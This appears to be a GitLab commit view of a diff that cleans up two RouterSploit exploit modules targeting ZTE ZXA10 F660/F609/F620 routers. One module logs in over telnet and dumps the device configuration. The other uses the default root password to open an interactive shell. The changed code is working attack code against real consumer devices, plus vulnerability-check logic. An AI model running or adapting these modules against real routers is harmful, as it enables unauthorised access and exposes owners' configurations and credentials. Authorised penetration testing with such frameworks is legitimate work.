Commit fe5da03b by Marcin Bury

Cleaning code. Adding little fixes.

parent ffc36e2b
...@@ -2,9 +2,10 @@ import telnetlib ...@@ -2,9 +2,10 @@ import telnetlib
from routersploit import ( from routersploit import (
exploits, exploits,
print_status,
print_success, print_success,
print_error, print_error,
mute mute,
) )
...@@ -17,13 +18,13 @@ class Exploit(exploits.Exploit): ...@@ -17,13 +18,13 @@ class Exploit(exploits.Exploit):
'name': 'ZTE F660 Config Disclosure', 'name': 'ZTE F660 Config Disclosure',
'description': 'Module exploits ZTE F660 Config Disclosure. If the target is possible to authentiate to the device.', 'description': 'Module exploits ZTE F660 Config Disclosure. If the target is possible to authentiate to the device.',
'authors': [ 'authors': [
'devilscream' # vulnerability discovery 'devilscream', # vulnerability discovery & routersploit module
], ],
'references': [ 'references': [
'http://www.ironbugs.com/2016/02/hack-and-patch-your-zte-f660-routers.html' 'http://www.ironbugs.com/2016/02/hack-and-patch-your-zte-f660-routers.html',
], ],
'devices': [ 'devices': [
'ZTE ZXA10 F660' 'ZTE ZXA10 F660',
] ]
} }
...@@ -34,6 +35,7 @@ class Exploit(exploits.Exploit): ...@@ -34,6 +35,7 @@ class Exploit(exploits.Exploit):
def run(self): def run(self):
try: try:
print_status("Trying to authenticate to the telnet server")
tn = telnetlib.Telnet(self.target, 23) tn = telnetlib.Telnet(self.target, 23)
tn.expect(["Login: ", "login: "], 5) tn.expect(["Login: ", "login: "], 5)
tn.write(self.username + "\r\n") tn.write(self.username + "\r\n")
...@@ -43,17 +45,19 @@ class Exploit(exploits.Exploit): ...@@ -43,17 +45,19 @@ class Exploit(exploits.Exploit):
(i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5) (i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5)
if i != -1: if i != -1:
return False print_error("Exploit failed")
else: else:
if any(map(lambda x: x in res, ["#", "$", ">"])): if any(map(lambda x: x in res, ["#", "$", ">"])):
print_success("Telnet - Successful authentication") print_success("Authentication successful")
print_status("Displaying configuration file:")
tn.write(self.config + "\r\n") tn.write(self.config + "\r\n")
tn.interact() tn.interact()
else:
print_error("Exploit failed")
tn.close() tn.close()
except: except:
print_error("Connection Error") print_error("Connection error: {}:{}".format(self.target, 23))
return
@mute @mute
def check(self): def check(self):
...@@ -69,14 +73,11 @@ class Exploit(exploits.Exploit): ...@@ -69,14 +73,11 @@ class Exploit(exploits.Exploit):
tn.close() tn.close()
if i != -1: if i != -1:
return False return False # target is not vulnerable
else: else:
if any(map(lambda x: x in res, ["#", "$", ">"])): if any(map(lambda x: x in res, ["<DM name="])):
if any(map(lambda x: x in res, ["<DM name="])): return True # target is vulnerable
tn.close()
return True
tn.close()
except: except:
return False return False # target is not vulnerable
return False return False # target is not vulnerable
\ No newline at end of file
...@@ -2,9 +2,10 @@ import telnetlib ...@@ -2,9 +2,10 @@ import telnetlib
from routersploit import ( from routersploit import (
exploits, exploits,
print_status,
print_success, print_success,
print_error, print_error,
mute mute,
) )
...@@ -17,15 +18,15 @@ class Exploit(exploits.Exploit): ...@@ -17,15 +18,15 @@ class Exploit(exploits.Exploit):
'name': 'ZTE F6XX Default root', 'name': 'ZTE F6XX Default root',
'description': 'Module exploits ZTE F6XX default root password. If the target is possible to authentiate to the device.', 'description': 'Module exploits ZTE F6XX default root password. If the target is possible to authentiate to the device.',
'authors': [ 'authors': [
'devilscream' # vulnerability discovery 'devilscream', # vulnerability discovery & routersploit module
], ],
'references': [ 'references': [
'http://www.ironbugs.com/2016/02/hack-and-patch-your-zte-f660-routers.html' 'http://www.ironbugs.com/2016/02/hack-and-patch-your-zte-f660-routers.html',
], ],
'devices': [ 'devices': [
'ZTE ZXA10 F660', 'ZTE ZXA10 F660',
'ZTE ZXA10 F609', 'ZTE ZXA10 F609',
'ZTE ZXA10 F620' 'ZTE ZXA10 F620',
] ]
} }
...@@ -35,6 +36,7 @@ class Exploit(exploits.Exploit): ...@@ -35,6 +36,7 @@ class Exploit(exploits.Exploit):
def run(self): def run(self):
try: try:
print_status("Trying to authenticate to the telnet server")
tn = telnetlib.Telnet(self.target, 23) tn = telnetlib.Telnet(self.target, 23)
tn.expect(["Login: ", "login: "], 5) tn.expect(["Login: ", "login: "], 5)
tn.write(self.username + "\r\n") tn.write(self.username + "\r\n")
...@@ -45,17 +47,18 @@ class Exploit(exploits.Exploit): ...@@ -45,17 +47,18 @@ class Exploit(exploits.Exploit):
(i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5) (i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5)
if i != -1: if i != -1:
return False print_error("Exploit failed")
else: else:
if any(map(lambda x: x in res, ["#", "$", ">"])): if any(map(lambda x: x in res, ["#", "$", ">"])):
print_success("Telnet - Successful authentication") print_success("Authentication successful")
tn.write("\r\n") tn.write("\r\n")
tn.interact() tn.interact()
else:
print_error("Exploit failed")
tn.close() tn.close()
except: except:
print_error("Connection Error") print_error("Connection error {}:{}".format(self.target, self.port))
return
@mute @mute
def check(self): def check(self):
...@@ -71,13 +74,11 @@ class Exploit(exploits.Exploit): ...@@ -71,13 +74,11 @@ class Exploit(exploits.Exploit):
tn.close() tn.close()
if i != -1: if i != -1:
return False return False # target is not vulnerable
else: else:
if any(map(lambda x: x in res, ["#", "$", ">"])): if any(map(lambda x: x in res, ["#", "$", ">"])):
tn.close() return True # target is vulnerable
return True
tn.close()
except: except:
return False return False # target is not vulnerable
return False return False # target is not vulnerable
\ No newline at end of file
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment